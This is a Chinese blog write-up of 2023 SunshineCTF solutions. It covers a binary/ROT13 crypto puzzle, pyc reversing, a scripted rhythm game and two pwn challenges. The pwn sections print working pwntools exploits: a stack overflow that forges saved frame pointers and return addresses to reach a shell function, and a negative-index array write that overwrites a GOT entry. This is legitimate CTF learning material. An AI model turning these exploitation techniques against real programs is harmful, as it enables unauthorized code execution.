selph
selph
发布于 2023-10-10 / 66 阅读
0
0

2023 SunShine CTF Writeup(1re, 2pwn)

2023 SunShine CTF Writeup(1re, 2pwn)

共解出:1crypto, 1scripting, 1re, 2pwn

剩下几个pwn看了,没思路,有wp了学习了再更新分享

Crypto-BeepBoop Cryptography

题目文件:

beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop

只有beep和boop

猜测是二进制数据,用py处理一下:

beepboop = "beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop"

lst = beepboop.split(" ")
print(lst)


bin1 = ""
for i in lst:
    if i == "beep":
        bin1 += "0"
    else:
        bin1 += "1"
print(bin1)
o = int(bin1,2)
print(hex(o))

拿到一个十六进制:

0a6668617b726b6772657a76616e67722d726b6772657a76616e67722d726b6772657a76616e67727d

转换成字符串就是:

fha{rkgrezvangr-rkgrezvangr-rkgrezvangr}

一眼rot,rot13解得:

sun{exterminate-exterminate-exterminate}

Reverse-Dill

pyc文件,工具反编译:uncompyle6 -o . *.pyc

得到如下内容:解析见注释

# uncompyle6 version 3.9.0
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.8.10 (default, May 26 2023, 14:05:08) 
# [GCC 9.4.0]
# Embedded file name: dill.py
# Compiled at: 2023-10-07 03:53:54
# Size of source mod 2**32: 914 bytes


class Dill:
    prefix = 'sun{'
    suffix = '}'
    o = [5, 1, 3, 4, 7, 2, 6, 0]

    def __init__(self) -> None:
        self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'

    def validate(self, value: str) -> bool:
        # return value.startswith(Dill.prefix) and value.endswith(Dill.suffix) or False
        value = value[len(Dill.prefix):-len(Dill.suffix)]	#{中间的内容长度}
        if len(value) != 32:	# 中间内容长度是32字符
            return False
        c = [value[i:i + 4] for i in range(0, len(value), 4)]	# 4个字符一组
        value = ''.join([c[i] for i in Dill.o])	# 按照o的顺序排序
        if value != self.encrypted:
            return False
        return True

就是打乱顺序而已,按照打乱方式还原回来即可:

value = "bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls"
c = [value[i:i + 4] for i in range(0, len(value), 4)]
print(c)

# 输入四个字符一组
o = [5, 1, 3, 4, 7, 2, 6, 0]
print(o)
# 打乱顺序拼接
r = ''.join([c[i] for i in o])
print(r)

flag =""
dic = dict(zip(o,c))

for i in sorted(dic):
    flag += dic[i]

print("sun{" + flag + "}")
# sun{ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K}

Scripting-DDR

题目描述:

All the cool robots are playing Digital Dance Robots, a new rythmn game that... has absolutely no sound! Robots are just that good at these games... until they crash because they can't count to 256. Can you beat the high score and earn a prize?

nc chal.2023.sunshinectf.games 23200

连接:是个返回箭头符号,然后及时输入wasd和回车可以拿分(劲舞团?)

➜  Desktop nc chal.2023.sunshinectf.games 23200

Welcome to DIGITAL DANCE ROBOTS!

       -- INSTRUCTIONS --     
 Use the WASD keys to input the 
 arrow that shows up on screen. 
 If you beat the high score of  
     255, you win a FLAG!   

   -- Press ENTER To Start --   


⇨⇨⇩⇨⇦⇦⇧⇨⇦⇧⇧⇩⇨⇧⇧⇧⇦⇩⇦⇧⇦⇦⇩⇧⇨⇩⇨⇧⇩⇩⇧⇦⇨⇩⇧⇦⇧⇦⇨⇦⇦⇧⇩⇧⇧⇨⇧⇦⇦⇩
You lose... better luck next time!
Score: 1

其中符号对应的字节序列是:

e2 87 a7 :w 上
e2 87 a6 :a 左
e2 87 a8 :d 右
e2 87 a9 :s 下

脚本:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
REMOTE_HOST = "chal.2023.sunshinectf.games"
REMOTE_PORT = 23200

def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)

# ======= helper function ===============
io = start()

# ============== exploit ===================
index = 0
def deal_once():
    global index
    l = io.recv()
    print(l)
    #print(list(l))
    if len(list(l)) > 10:
        index += 1
        print(f"[Current]{index}")
    b = b""
    for i in list(l):
        if i == 0xa7:
            b += b"w"
        if i == 0xa6:
            b += b"a"
        if i == 0xa8:
            b += b"d"
        if i == 0xa9:
            b += b"s"
    io.sendline(b)

io.sendafter(b"   -- Press ENTER To Start --   \x0d\x0a",b"\n")

while True:
    deal_once()

运行结果:

image

pwn-Flock of Seagulls

是个基础的栈溢出,但对返回地址有限制,先看逆向反编译函数吧:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMWNXKKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMNOo:'....':d0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMWO;.          .oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMWx.   ...        oNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMWN0l.   .:lo.       .OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMWKOxl:'.      .'.         oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMNx,.                        cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMk....';ldxo;                ,ONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMN00KXNWMMMMK;                .',:ldkKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMWk.                       ..':d0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMWO'                             .,o0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMX;               .;.               .:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMk.               ;O;                  .:xKWMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMx.               .oc                     .;d0WMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMO.                .l:                       .;o0NMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMNc                 .:c'                        .,oONWMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMM0;                  .cc'                          'cd0XWMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMK:                   .:c;.                          ..;lxOKNMMMMMM");
  puts("MMMMMMMMMMMMMMMXl.                   .,ccc'                           .';xNMMMMM");
  puts("MMMMMMMMMMMMMMMMNk,                      'o:                  .,codxkO0KXWMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMXx,.                    ,o'                 ..,:codxk0KXWMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMNOl,.                 .cxxdolc:;,,'...              ..,lKMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMWKkoc:.  ..   ,lodxOKNMMMMMMMWWNXKK0Okxddollc:;;,,;cdKMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMk. :k, ,0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWWWMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMM0' :O, :NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMNc.oK;.xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWo'kX;.OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWl,0X;.OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMX:;KK,.OMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMO':XO..kMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMWXOo. .d:  cNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMXk:..      . .dNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMWXkdxxkkdok00kONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  puts("MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM");
  func1();
  return 0;
}

void *func1()
{
  return func2();
}

void *func2()
{
  void *result; // rax
  void *retaddr; // [rsp+18h] [rbp+8h]

  func3();
  result = &loc_4012F0;
  if ( retaddr != &loc_4012F0 )
    fail();
  return result;
}

void *func3()
{
  void *result; // rax
  void *retaddr; // [rsp+18h] [rbp+8h]

  func4();
  result = &loc_4012CA;
  if ( retaddr != &loc_4012CA )
    fail();
  return result;
}

void *func4()
{
  void *result; // rax
  void *retaddr; // [rsp+18h] [rbp+8h]

  func5();
  result = &loc_4012A0;
  if ( retaddr != &loc_4012A0 )
    fail();
  return result;
}

void *func5()
{
  void *result; // rax
  char buf[104]; // [rsp+0h] [rbp-80h] BYREF
  void *v2; // [rsp+68h] [rbp-18h]
  ssize_t v3; // [rsp+70h] [rbp-10h]
  char *v4; // [rsp+78h] [rbp-8h]
  void *retaddr; // [rsp+88h] [rbp+8h]

  v4 = buf;
  printf("<<< Song Begins At %p\n", buf);       // 栈地址泄露
  printf("PwnMe >>> ");
  v3 = read(0, buf, 0x1F4uLL);                  // 栈溢出
  v2 = retaddr;
  result = &loc_401276;
  if ( retaddr != &loc_401276 )
    fail();
  return result;
}

提供了后门函数:

.text:00000000004011B9                               public win
.text:00000000004011B9                               win proc near
.text:00000000004011B9                               ; __unwind {
.text:00000000004011B9 55                            push    rbp
.text:00000000004011BA 48 89 E5                      mov     rbp, rsp
.text:00000000004011BD 48 8D 05 44 0E 00 00          lea     rax, command                    ; "/bin/sh"
.text:00000000004011C4 48 89 C7                      mov     rdi, rax                        ; command
.text:00000000004011C7 E8 84 FE FF FF                call    _system
.text:00000000004011C7
.text:00000000004011CC BF 00 00 00 00                mov     edi, 0                          ; status
.text:00000000004011D1 E8 AA FE FF FF                call    _exit
.text:00000000004011D1                               ; } // starts at 4011B9
.text:00000000004011D1
.text:00000000004011D1                               win endp

fun2-5的那个地址校验,校验的是当前返回地址是不是指定的值,校验方法:

.text:0000000000401248 48 89 45 F0                   mov     [rbp+var_10], rax
.text:000000000040124C 48 8B 45 08                   mov     rax, [rbp+8]
.text:0000000000401250 48 89 45 E8                   mov     [rbp+var_18], rax
.text:0000000000401254 48 8D 05 1B 00 00 00          lea     rax, loc_401276
.text:000000000040125B 48 39 45 E8                   cmp     [rbp+var_18], rax
.text:000000000040125F 74 05                         jz      short loc_401266

取ebp+8比对函数本该返回的地址

但是这个校验只在fun2-5有,所以只要保持fun2-5的栈帧不变(指返回地址不变),因为有栈地址泄露,很方便构造rbp的地址和返回地址:

函数退出的时候,rbp会恢复成上一个栈帧的rbp,因为每次执行函数,栈帧大小是固定的,这些rbp位置之间的偏移是固定的,所以可以通过偏移来构造rbp,然后根据校验要求去构造返回地址,其他地方全部填入垃圾数据

由于有后门函数,直接最后返回到00000000004011BD​即可,跳过开辟栈帧的指令是为了避免潜在的错误,确保能直接执行函数

exp:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
FILE_NAME = "./flock"
REMOTE_HOST = "chal.2023.sunshinectf.games"
REMOTE_PORT = 23002

elf = context.binary = ELF(FILE_NAME)
libc = elf.libc

gs = '''
b*0x0000000000401250
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

io = start()

io.timeout = 0.1

# =============================================================================
# ============== exploit ===================
sleep(1)
io.recvuntil(b"Song Begins At ")
bufaddr = io.recvline()[:-1]
bufaddr = bufaddr.decode("utf-8")
bufaddr = int(bufaddr,16)
print(hex(bufaddr))
"""
0x7ffe6f50d1b0
0x7ffe6f50d238 —▸ 0x401276 (func4+13) ◂— mov rax, qword ptr [rbp + 8]
0x7ffe6f50d258 —▸ 0x4012a0 (func3+13) ◂— mov rax, qword ptr [rbp + 8]
0x7ffe6f50d278 —▸ 0x4012ca (func2+13) ◂— mov rax, qword ptr [rbp + 8]
0x7ffe6f50d298 —▸ 0x4012f0 (func1+9) ◂— nop 
0x7ffe6f50d2a8 —▸ 0x401554 (main+609) ◂— mov eax, 0
"""
win = 0x0000000004011B9
win = 0x00000000004011BD
b = b""
b += b"a"*0x80 + pack(bufaddr + 0xa0) + pack(0x401276)
b += b"b"*0x10 + pack(bufaddr + 0xc0) + pack(0x4012a0)
b += b"c"*0x10 + pack(bufaddr + 0xe0) + pack(0x4012ca)
b += b"d"*0x10 + pack(bufaddr + 0xf0) + pack(0x4012f0)
b += pack(bufaddr + 0x100)+ pack(0x401554)
b += pack(bufaddr + 0x218)+ pack(win)
b += b"z"*0xe4
io.sendafter(b"PwnMe >>> ", b)
#io.sendline(b"cat flag.txt")

# =============================================================================

io.interactive()

pwn-Array of Sunshine

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  printf_sym = (__int64)sym_lookup("printf");
  scanf_sym = (__int64)sym_lookup("scanf");
  logo("scanf", argv);
  while ( 1 )
    basket();
}

unsigned __int64 basket()
{
  int v1; // [rsp+4h] [rbp-2Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-28h]
  __int64 v3; // [rsp+10h] [rbp-20h]
  __int64 v4; // [rsp+18h] [rbp-18h]
  __int64 v5; // [rsp+20h] [rbp-10h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  printf("\nWhich fruit would you like to eat [0-3] >>> ");
  __isoc99_scanf("%i", &v1);
  printf("Replace it with a new fruit.\n");
  printf("Type of new fruit >>>");
  __isoc99_scanf("%24s", &(&fruits)[v1]);       // 数组越界
  v2 = 4210720LL;
  v3 = 4210744LL;
  v4 = MEMORY[0x404020];
  v5 = MEMORY[0x404038];
  if ( printf_sym != MEMORY[0x404020] )
    exit(-1);
  return v6 - __readfsqword(0x28u);
}

unsigned __int64 win()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  system("cat flag.txt");
  return v1 - __readfsqword(0x28u);
}

这里进入循环的条件是0x404020的值和printf_sym相同,默认是不相同的,实际上不需要进入循环

这个程序没有RELRO,可以修改got表

可以通过全局变量fruit和输入负数索引直接去修改got函数,修改exit为后门函数,然后触发exit拿到flag

exp:

#!/bin/python3
from pwn import *
warnings.filterwarnings(action='ignore',category=BytesWarning)
FILE_NAME = "sunshine"
REMOTE_HOST = "chal.2023.sunshinectf.games"
REMOTE_PORT = 23003

gs = '''
continue
'''
def start():
    if args.REMOTE:
        return remote(REMOTE_HOST,REMOTE_PORT)
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)
io = start()

win = 0x000000000040128F

io.sendline(b"-8")
io.sendline(pack(win))

# =============================================================================

io.interactive()

运行结果:

MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMWN0xollloxOXNKd,.,kNWOccclodkO0XNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMNkc'         .:kNXx'.:0k.       ...,;:lodk0WMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMNx,           ...'dNMXl.'do.               .oNMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMW0;          .....  cNMMWk'.oxl;            'dNMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMWx.         ...      oWMMMM0,.dXXOl;......,ckXMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMNo.       ...        '0MMMMMM0,.;xWMWXK00KXWMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMNo.                  'OWMMMMMMWk. ,KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMWx.                 .oKWMMMWWNNNXl..oWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMO'              .,cxKX0koc:,'''''.. .:cc:cclodk0XWMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMW0l::;;;;;;:cloxOKKOo;..                        ..,cd0NMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMWWWWWWMMMMNOc'                                  .'ckNMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMXd,                                ..       'oKWMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMXd'                                  ..         .oKMMMMMMMMMMMMM
MMMMMMMMMMMMMMWk,                                                 'xNMMMMMMMMMMM
MMMMMMMMMMMMMXl.                                         .'.        cKMMMMMMMMMM
MMMMMMMMMMMMK:                                           .'          ;0MMMMMMMMM
MMMMMMMMMMMK:                                                         ,0MMMMMMMM
MMMMMMMMMMNc                                                           :XMMMMMMM
MMMMMMMMMWx.                                              ..     '.     oWMMMMMM
MMMMMMMMMX;                                                      .      '0MMMMMM
MMMMMMMMMk.                                                             .dWMMMMM
MMMMMMMMWo                                                        .      lNMMMMM
MMMMMMMMWl                                                        .      :NMMMMM
MMMMMMMMWo                                                               cNMMMMM
MMMMMMMMMx.                                                              oWMMMMM
MMMMMMMMM0'                                                             .OMMMMMM
MMMMMMMMMWl                                                             cNMMMMMM
MMMMMMMMMMK,                                                           'OMMMMMMM
MMMMMMMMMMWO'                                                         .xWMMMMMMM
MMMMMMMMMMMWk'                                                       .xWMMMMMMMM
MMMMMMMMMMMMWO,                                                     'kWMMMMMMMMM
MMMMMMMMMMMMMMXl.                                                 .cKWMMMMMMMMMM
MMMMMMMMMMMMMMMWO;                                               ,kNMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMNk;.                                          ,xNMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMWOl'                                     .cONMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMNkl,.                             .'ckXWMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMN0xl;..                   ..;lx0NMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,..         ..':okKWMMMMMMMMMMMMMMMMMMMMMMMMMM

Which fruit would you like to eat [0-3] >>> Replace it with a new fruit.
Type of new fruit >>>sun{a_ray_of_sunshine_bouncing_around}

Which fruit would you like to eat [0-3] >>> $  


评论